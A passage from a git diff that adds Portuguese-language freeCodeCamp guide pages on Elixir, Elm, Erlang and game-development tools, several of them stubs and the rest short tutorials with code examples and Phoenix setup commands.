+No Elixir, as listas são estruturas de dados compostas de valores entre colchetes. Os valores em uma lista podem ser de qualquer tipo.
+
+```elixir
+iex> [1, "string", true] 
+ [1, "string", true] 
+```
+
+## Imutabilidade
+
+As estruturas de dados no Elixir são imutáveis, portanto, quaisquer operações executadas em uma Lista retornarão uma nova lista, deixando o original intacto.
+
+```elixir
+iex> list = [1, "string", true] 
+ [1, "string", true] 
+ iex> list ++ [2] 
+ [1, "string", true, 2] 
+ iex> list 
+ [1, "string", true] 
+```
+
+## Cabeças e caudas
+
+A cabeça (primeiro elemento) de uma lista e a cauda (valores restantes) podem ser facilmente acessados ​​com os operadores `hd/1` e `tl/1` .
+
+```elixir
+iex> list = [1, "string", true] 
+ iex> hd(list) 
+ 1 
+ iex> tl(list) 
+ ["string", true] 
+```
+
+#### Mais Informações:
+
+*   [elixir-lang.org | recursão](https://elixir-lang.org/getting-started/basic-types.html#linked-lists)
+*   [hexdocs | Enum](https://hexdocs.pm/elixir/List.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/maps/index.md b/client/src/guide/portuguese/elixir/maps/index.md
new file mode 100644
index 0000000000..2c65165e03
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Maps
+localeTitle: Mapas
+---
+## Mapas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/maps/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/meta-programming/index.md b/client/src/guide/portuguese/elixir/meta-programming/index.md
new file mode 100644
index 0000000000..ba451fd60f
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/meta-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Programming
+localeTitle: Meta Programação
+---
+## Meta Programação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/meta-programming/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/mix/index.md b/client/src/guide/portuguese/elixir/mix/index.md
new file mode 100644
index 0000000000..43028f151c
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/mix/index.md
@@ -0,0 +1,11 @@
+---
+title: Mix
+localeTitle: Misturar
+---
+## Misturar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/mnesia/index.md b/client/src/guide/portuguese/elixir/mnesia/index.md
new file mode 100644
index 0000000000..8fbecc6876
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/mnesia/index.md
@@ -0,0 +1,11 @@
+---
+title: Mnesia
+localeTitle: Mnesia
+---
+## Mnesia
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mnesia/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/modules/index.md b/client/src/guide/portuguese/elixir/modules/index.md
new file mode 100644
index 0000000000..0d65d7eb9e
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/modules/index.md
@@ -0,0 +1,11 @@
+---
+title: Modules
+localeTitle: Módulos
+---
+## Módulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/modules/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/operations/index.md b/client/src/guide/portuguese/elixir/operations/index.md
new file mode 100644
index 0000000000..c3082a8b5a
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/operations/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations
+localeTitle: Operações
+---
+## Operações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/operations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/otp-concurrency/index.md b/client/src/guide/portuguese/elixir/otp-concurrency/index.md
new file mode 100644
index 0000000000..56b6c40804
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/otp-concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Concurrency
+localeTitle: OTP Concurrency
+---
+## OTP Concurrency
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-concurrency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/otp-supervisors/index.md b/client/src/guide/portuguese/elixir/otp-supervisors/index.md
new file mode 100644
index 0000000000..94fc3bec3c
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/otp-supervisors/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Supervisors
+localeTitle: Supervisores OTP
+---
+## Supervisores OTP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-supervisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/pattern-matching/index.md b/client/src/guide/portuguese/elixir/pattern-matching/index.md
new file mode 100644
index 0000000000..69b4204212
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/pattern-matching/index.md
@@ -0,0 +1,39 @@
+---
+title: Pattern Matching
+localeTitle: Correspondência de Padrões
+---
+## Correspondência de Padrões
+
+A correspondência de padrões é uma técnica que o Elixir herda da forma Erlang. É uma técnica muito poderosa que nos permite extrair subestruturas mais simples de estruturas de dados complicadas, como listas, tuplas, mapas, etc.
+
+Um jogo tem duas partes principais, uma esquerda e uma direita. O lado direito é uma estrutura de dados de qualquer tipo. O lado esquerdo tenta combinar a estrutura de dados no lado direito e vincular quaisquer variáveis ​​à esquerda à respectiva subestrutura à direita. Se uma correspondência não for encontrada, o operador gerará um erro.
+
+A correspondência mais simples é uma variável solitária à esquerda e qualquer estrutura de dados à direita. Essa variável corresponderá a qualquer coisa. Por exemplo:  
+`x = 12`  
+`x = "Hello"`  
+`IO.puts(x)`
+
+Você pode colocar variáveis ​​dentro de uma estrutura para poder capturar uma subestrutura. Por exemplo:  
+`[var_1, _unused_var, var_2] = [{"First variable"}, 25, "Second variable" ]`  
+`IO.puts(var_1)`  
+`IO.puts(var_2)`
+
+Isto irá armazenar os valores, `{"First variable"}` no var _1 e `"Second variable"` no var_ 2. Há também uma variável especial (ou variáveis ​​prefixadas com '\_') que funciona exatamente como outras variáveis, mas diz elixir, "Certifique-se de que algo está aqui, mas não me importo com o que é". No exemplo anterior, \_unused\_var era uma dessas variáveis.
+
+Podemos combinar padrões mais complicados usando essa técnica. Por exemplo, se você quiser desembrulhar e obter um número em uma tupla que esteja dentro de uma lista que esteja em uma lista, use o seguinte comando:  
+`[_, [_, {a}]] = ["Random string", [:an_atom, {24}]]`  
+`IO.puts(a)`
+
+O programa acima gera o seguinte resultado -  
+`24`
+
+Isto irá ligar um para 24. Outros valores são ignorados como estamos usando '\_'.
+
+Na correspondência de padrões, se usarmos uma variável à direita, seu valor será usado. Se você quiser usar o valor de uma variável à esquerda, você precisará usar o operador pin.
+
+Por exemplo, se você tem uma variável "a" com o valor 25 e você quer combiná-la com outra variável "b" com valor 25, então você precisa digitar -  
+`a = 25`  
+`b = 25`  
+`^a = b`
+
+A última linha corresponde ao valor atual de um, em vez de atribuí-lo, ao valor de b. Se tivermos um conjunto não correspondente do lado esquerdo e direito, o operador de correspondência gera um erro. Por exemplo, se tentarmos combinar uma tupla com uma lista ou uma lista de tamanho 2 com uma lista de tamanho 3, um erro será exibido.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/phoenix/index.md b/client/src/guide/portuguese/elixir/phoenix/index.md
new file mode 100644
index 0000000000..31ee070341
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/phoenix/index.md
@@ -0,0 +1,52 @@
+---
+title: Phoenix
+localeTitle: Fénix
+---
+## O que é Phoenix
+
+Phoenix é um framework de desenvolvimento web escrito em Elixir e criado por Chris McCord. Essa estrutura de software livre implementa o padrão MVC do lado do servidor e tem muitas semelhanças com outras estruturas da Web, como Ruby on Rails ou Django para Python. Phoenix foi escrito com ênfase em ser desenvolvedor amigável, enquanto também ostenta uma produtividade fantástica e alto desempenho de aplicativos. O framework Phoenix inclui alguns recursos muito poderosos, como 'canais' para lidar com comunicação em tempo real e Ecto, que é uma ferramenta fantástica para ORM (Object Relational Mapping).
+
+## Instalando Phoenix
+
+A instalação do Phoenix é relativamente simples, mas antes que possamos fazer isso, precisamos garantir que o Elixir, o gerenciador de pacotes Hex, e o Erlang já estejam trabalhando em nosso sistema. O site Elixir tem um [guia de instalação](https://elixir-lang.org/install.html) fantástico para Elixir e Erlang. Uma vez que estes tenham sido configurados com sucesso, basta executar:
+
+```shell
+$ mix local.hex 
+```
+
+Para instalar o gerenciador de pacotes Hex e, em seguida, instalar o arquivo morto do Phoenix:
+
+```shell
+$ mix archive.install https://github.com/phoenixframework/archives/raw/master/phx_new.ez 
+```
+
+## Criando um aplicativo Phoenix:
+
+1.  Depois de instalar o Phoenix, criar um aplicativo é simples:
+
+```shell
+$ mix phx.new <application_name> 
+```
+
+2.  Executando este comando com gerar uma estrutura de diretório e todos os arquivos básicos necessários com o _application\_name que_ você usou no comando anterior. Você será solicitado a instalar dependências básicas para o aplicativo, então diremos sim a isso.
+    
+3.  Em seguida, será solicitado que você mude para o diretório do nosso projeto:
+    
+
+```shell
+$ cd <application_name> 
+```
+
+4.  Por padrão, a Phoenix assume que usaremos o PostgreSQL para nosso aplicativo com um nome de usuário e senha de 'postgres'. Se não for esse o caso, você precisará alterar sua configuração - caso contrário, tudo o que precisamos fazer é criar nosso banco de dados:
+
+```shell
+$ mix ecto.create 
+```
+
+5.  Finalmente, vamos iniciar o nosso servidor:
+
+```shell
+$ mix phx.server 
+```
+
+6.  Agora, pegue seu navegador e navegue até localhost: 4000 e veja a página de boas vindas! Parabéns, você tem um aplicativo Phoenix em funcionamento.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/pipe-operator/index.md b/client/src/guide/portuguese/elixir/pipe-operator/index.md
new file mode 100644
index 0000000000..2bbdac15ac
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/pipe-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Pipe Operator
+localeTitle: Operador de Tubulação
+---
+## Operador de Tubulação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/pipe-operator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/plug/index.md b/client/src/guide/portuguese/elixir/plug/index.md
new file mode 100644
index 0000000000..a4c21cbad7
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/plug/index.md
@@ -0,0 +1,11 @@
+---
+title: Plug
+localeTitle: Plugue
+---
+## Plugue
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/plug/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/protocols/index.md b/client/src/guide/portuguese/elixir/protocols/index.md
new file mode 100644
index 0000000000..4a204be456
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/protocols/index.md
@@ -0,0 +1,11 @@
+---
+title: Protocols
+localeTitle: Protocolos
+---
+## Protocolos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/protocols/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/sigils/index.md b/client/src/guide/portuguese/elixir/sigils/index.md
new file mode 100644
index 0000000000..3b30d2dd64
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/sigils/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigils
+localeTitle: Sigilos
+---
+## Sigilos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/sigils/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/specifications-and-types/index.md b/client/src/guide/portuguese/elixir/specifications-and-types/index.md
new file mode 100644
index 0000000000..5a8fa6094e
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/specifications-and-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Specifications and Types
+localeTitle: Especificações e Tipos
+---
+## Especificações e Tipos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/specifications-and-types/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/strings/index.md b/client/src/guide/portuguese/elixir/strings/index.md
new file mode 100644
index 0000000000..6a0bee9f43
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/strings/index.md
@@ -0,0 +1,37 @@
+---
+title: Strings
+localeTitle: Cordas
+---
+## Cordas
+
+Strings in Elixir são empacotadas com aspas duplas, enquanto as Listas de Caracteres são citadas com uma só letra. Eles são binários codificados em UTF-8.
+
+```elixir
+iex> "Hello world!" 
+ "Hello world!" 
+```
+
+A interpolação de strings é possível em Elixir com um octothorp seguido por chaves.
+
+```elixir
+iex> variable = "world!" 
+ "world!" 
+ iex> "Hello #{variable}" 
+ "Hello world!" 
+```
+
+O módulo String contém muitas funções embutidas úteis baseadas no padrão Unicode.
+
+```elixir
+iex> example = "string" 
+ "string" 
+ iex> String.capitalize(example) 
+ "String" 
+ iex> String.duplicate(example, 2) 
+ "stringstring" 
+```
+
+#### Mais Informações:
+
+*   [elixir-lang.org | recursão](https://elixir-lang.org/getting-started/basic-types.html#strings)
+*   [hexdocs | Enum](https://hexdocs.pm/elixir/String.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/testing/index.md b/client/src/guide/portuguese/elixir/testing/index.md
new file mode 100644
index 0000000000..ba13189837
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing
+localeTitle: Testando
+---
+## Testando
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/testing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/tuples/index.md b/client/src/guide/portuguese/elixir/tuples/index.md
new file mode 100644
index 0000000000..5e0ec8b270
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/tuples/index.md
@@ -0,0 +1,36 @@
+---
+title: Tuples
+localeTitle: Tuplas
+---
+## Tuplas
+
+No Elixir, as tuplas são uma estrutura de dados que pode conter qualquer valor ou mistura de tipos. Tuplas são definidas por chaves, e seus índices começam em 0. Como as tuplas são armazenadas contiguamente na memória, obter dados delas é uma operação muito rápida.
+
+```elixir
+iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> elem(tuple, 0) 
+ :atom 
+```
+
+## Imutabilidade
+
+As tuplas no Elixir são imutáveis, portanto, fazer modificações retornará uma tupla inteiramente nova - salvando o original na memória.
+
+```elixir
+iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> put_elem(tuple, 1, true) 
+ {:atom, true} 
+ iex> tuple 
+ {:atom, "string"} 
+```
+
+## Correspondência de Padrões
+
+O uso mais comum de tuplas no Elixir é como um retorno para uma função. Por exemplo: `{:ok, "Hello World\n"}` Isso é muito útil, pois permite o uso de Correspondência de Padrões para lidar com esses retornos.
+
+#### Mais Informações:
+
+*   [elixir-lang.org | recursão](https://elixir-lang.org/getting-started/basic-types.html#tuples)
+*   [hexdocs | Enum](https://hexdocs.pm/elixir/Tuple.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/umbrella-projects/index.md b/client/src/guide/portuguese/elixir/umbrella-projects/index.md
new file mode 100644
index 0000000000..4dae599508
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/umbrella-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Umbrella Projects
+localeTitle: Projetos de guarda-chuva
+---
+## Projetos de guarda-chuva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/umbrella-projects/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/arrays/index.md b/client/src/guide/portuguese/elm/arrays/index.md
new file mode 100644
index 0000000000..7cc17a41d6
--- /dev/null
+++ b/client/src/guide/portuguese/elm/arrays/index.md
@@ -0,0 +1,11 @@
+---
+title: Arrays
+localeTitle: Matrizes
+---
+## Matrizes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/arrays/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/date/index.md b/client/src/guide/portuguese/elm/date/index.md
new file mode 100644
index 0000000000..67c9f13362
--- /dev/null
+++ b/client/src/guide/portuguese/elm/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: Encontro
+---
+## Encontro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/date/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/index.md b/client/src/guide/portuguese/elm/index.md
new file mode 100644
index 0000000000..14481d2fe6
--- /dev/null
+++ b/client/src/guide/portuguese/elm/index.md
@@ -0,0 +1,7 @@
+---
+title: Elm
+localeTitle: Ciência
+---
+## Olmo
+
+Elm é uma linguagem de programação puramente funcional, específica do domínio, que é compilada em Javascript. Essa linguagem de programação é datilografada estaticamente e desenvolvida com ênfase em usabilidade, desempenho e robustez. Elm foi construído por Evan Czaplicki em 2012 e foi influenciado por Haskell, Standard ML e OCaml, entre outros. Também ajudou a inspirar a popular ferramenta de gerenciamento estatal, Redux.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/list/index.md b/client/src/guide/portuguese/elm/list/index.md
new file mode 100644
index 0000000000..24552e1aaa
--- /dev/null
+++ b/client/src/guide/portuguese/elm/list/index.md
@@ -0,0 +1,11 @@
+---
+title: List
+localeTitle: Lista
+---
+## Lista
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/list/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/process/index.md b/client/src/guide/portuguese/elm/process/index.md
new file mode 100644
index 0000000000..598aa7dc26
--- /dev/null
+++ b/client/src/guide/portuguese/elm/process/index.md
@@ -0,0 +1,11 @@
+---
+title: Process
+localeTitle: Processo
+---
+## Processo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/process/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/random/index.md b/client/src/guide/portuguese/elm/random/index.md
new file mode 100644
index 0000000000..1e2d63d599
--- /dev/null
+++ b/client/src/guide/portuguese/elm/random/index.md
@@ -0,0 +1,11 @@
+---
+title: Random
+localeTitle: Aleatória
+---
+## Aleatória
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/random/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/strings/index.md b/client/src/guide/portuguese/elm/strings/index.md
new file mode 100644
index 0000000000..fa349b58dd
--- /dev/null
+++ b/client/src/guide/portuguese/elm/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: Cordas
+---
+## Cordas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/strings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/task/index.md b/client/src/guide/portuguese/elm/task/index.md
new file mode 100644
index 0000000000..7548e1b2e4
--- /dev/null
+++ b/client/src/guide/portuguese/elm/task/index.md
@@ -0,0 +1,11 @@
+---
+title: Task
+localeTitle: Tarefa
+---
+## Tarefa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/task/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elm/tuples/index.md b/client/src/guide/portuguese/elm/tuples/index.md
new file mode 100644
index 0000000000..946a8f853d
--- /dev/null
+++ b/client/src/guide/portuguese/elm/tuples/index.md
@@ -0,0 +1,11 @@
+---
+title: Tuples
+localeTitle: Tuplas
+---
+## Tuplas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/tuples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/erlang/index.md b/client/src/guide/portuguese/erlang/index.md
new file mode 100644
index 0000000000..cd0a8c8968
--- /dev/null
+++ b/client/src/guide/portuguese/erlang/index.md
@@ -0,0 +1,80 @@
+---
+title: Erlang
+localeTitle: Erlang
+---
+## Erlang
+
+Erlang é uma linguagem de programação funcional, desenvolvida pela Ericsson para uso em aplicações de telecomunicações. Por acharem que é inaceitável que um sistema de telecomunicações tenha algum tempo de inatividade significativo, o Erlang foi construído para ser (entre outras coisas):
+
+*   distribuído e tolerante a falhas _(um software ou hardware com falha não deve desativar o sistema)_
+*   concorrente _(pode gerar muitos processos, cada um executando um trabalho pequeno e bem definido, e isolados uns dos outros, mas capazes de se comunicar via mensagens)_
+*   hot-swappable _(o código pode ser trocado no sistema durante a execução, levando a alta disponibilidade e tempo de inatividade mínimo do sistema)_
+
+### Sintaxe
+
+Erlang faz uso pesado de **recursão** . Como os dados são imutáveis ​​em Erlang, o uso de loops `while` e `for` (onde uma variável precisa continuar mudando seu valor) não é permitido.
+
+Aqui está um exemplo de recursão, mostrando como uma função tira repetidamente a primeira letra da frente de um nome e a imprime, parando apenas quando a última letra é encontrada.
+
+```erlang
+-module(name). 
+ 
+ -export([print_name/1]). 
+ 
+ print_name([RemainingLetter | []]) -> 
+  io:format("~c~n", [RemainingLetter]); 
+ print_name([FirstLetter | RestOfName]) -> 
+  io:format("~c~n", [FirstLetter]), 
+  print_name(RestOfName). 
+```
+
+Saída:
+```
+> name:print_name("Mike"). 
+ M 
+ i 
+ k 
+ e 
+ ok 
+```
+
+Há também uma forte ênfase na **correspondência de padrões** , que freqüentemente elimina a necessidade de uma estrutura `if` ou declaração de `case` . No exemplo a seguir, há duas correspondências para nomes específicos, seguidas por um pega-tudo para quaisquer outros nomes.
+
+```erlang
+-module(greeting). 
+ 
+ -export([say_hello/1]). 
+ 
+ say_hello("Mary") -> 
+  "Welcome back Mary!"; 
+ say_hello("Tom") -> 
+  "Howdy Tom."; 
+ say_hello(Name) -> 
+  "Hello " ++ Name ++ ".". 
+```
+
+Saída:
+```
+> greeting:say_hello("Mary"). 
+ "Welcome back Mary!" 
+ > greeting:say_hello("Tom"). 
+ "Howdy Tom." 
+ > greeting:say_hello("Beth"). 
+ "Hello Beth." 
+```
+
+### Experimente
+
+Existem sites onde você pode tentar executar comandos Erlang sem ter que instalar nada localmente, como estes:
+
+*   [De uma chance! (um tutorial prático)](http://www.tryerlang.org/)
+*   [Tutoriais](https://www.tutorialspoint.com/compile_erlang_online.php)
+
+Se você gostaria de instalá-lo em sua máquina (ou virtual), você pode encontrar arquivos de instalação em [Erlang.org](https://www.erlang.org/downloads) ou em [Erlang Solutions](https://www.erlang-solutions.com/resources/download.html) .
+
+#### Mais Informações:
+
+*   [Sobre o Erlang](https://www.erlang.org/about)
+*   [Aprenda-lhe alguns Erlang para o bem grande!](http://learnyousomeerlang.com/)
+*   [Abrigo Desovado!](http://spawnedshelter.com/) _(uma coleção de artigos, vídeos e livros para aprender Erlang)_
+*   [Erlang (linguagem de programação)](https://en.wikipedia.org/wiki/Erlang_(programming_language))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/arcade/index.md b/client/src/guide/portuguese/game-development/arcade/index.md
new file mode 100644
index 0000000000..26cdd2d4cb
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/arcade/index.md
@@ -0,0 +1,11 @@
+---
+title: Arcade
+localeTitle: videogames
+---
+## videogames
+
+### Desenvolvimento de Jogos com Arcade
+
+O Arcade é uma biblioteca python que facilita a tarefa de criar jogos em 2D, evitando a complexidade de outras bibliotecas como o pygame. Ele é construído no topo do Pyglet e OpenGL.
+
+[Docs](arcade.academy)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/game-development/gamemaker-studio/index.md b/client/src/guide/portuguese/game-development/gamemaker-studio/index.md
new file mode 100644
index 0000000000..c9dbb692e9
--- /dev/null
+++ b/client/src/guide/portuguese/game-development/gamemaker-studio/index.md
@@ -0,0 +1,46 @@
+---
+title: GameMaker Studio
+localeTitle: GameMaker Studio
+---
+## GameMaker Studio
+
+O GameMaker Studio, anteriormente conhecido como GameMaker, é um software de desenvolvimento de jogos multi-plataforma focado principalmente na criação de jogos 2D usando seqüências de ação de arrastar e soltar ou uma linguagem de script conhecida como GML (Game Maker Language).
+
+### Visão geral:
+
+O GameMaker permite que os usuários criem e prototipem jogos rapidamente, sem a necessidade de aprender uma linguagem de programação. Jogos de GameMaker geralmente consiste em pelo menos 3 coisas: sprites (imagens e animações), objetos (lógica e interatividade) e salas (telas e níveis). Cada jogo precisa de pelo menos uma sala que seja usada para ambos os menus e níveis, e a transição entre cada um.
+
+O GameMaker Studio 2 foi lançado em 2 de novembro de 2016.
+
+### Plataformas Suportadas:
+
+*   Microsoft Windows
+*   Mac OS
+*   Ubuntu
+*   HTML5
+*   Android
+*   iOS
+*   Amazon Fire TV
+*   TV Android
+*   UWP da Microsoft
+*   Playstation 4
+*   PlayStation Vita
+*   Nintendo Switch (setembro de 2018)
+
+O suporte para PlayStation Portable e Raspberry Pi foi demonstrado, mas não foi liberado.
+
+### Jogos populares feitos com o GameMaker Studio:
+
+*   Spelunky
+*   Linha quente Miami
+*   Hyper Light Drifter
+*   Crashlands
+*   VA-11 Hall-A
+*   Undertale
+*   Trono Nuclear
+
+#### Mais Informações:
+
+*   \[Wikipedia\] https://en.wikipedia.org/wiki/GameMaker\_Studio
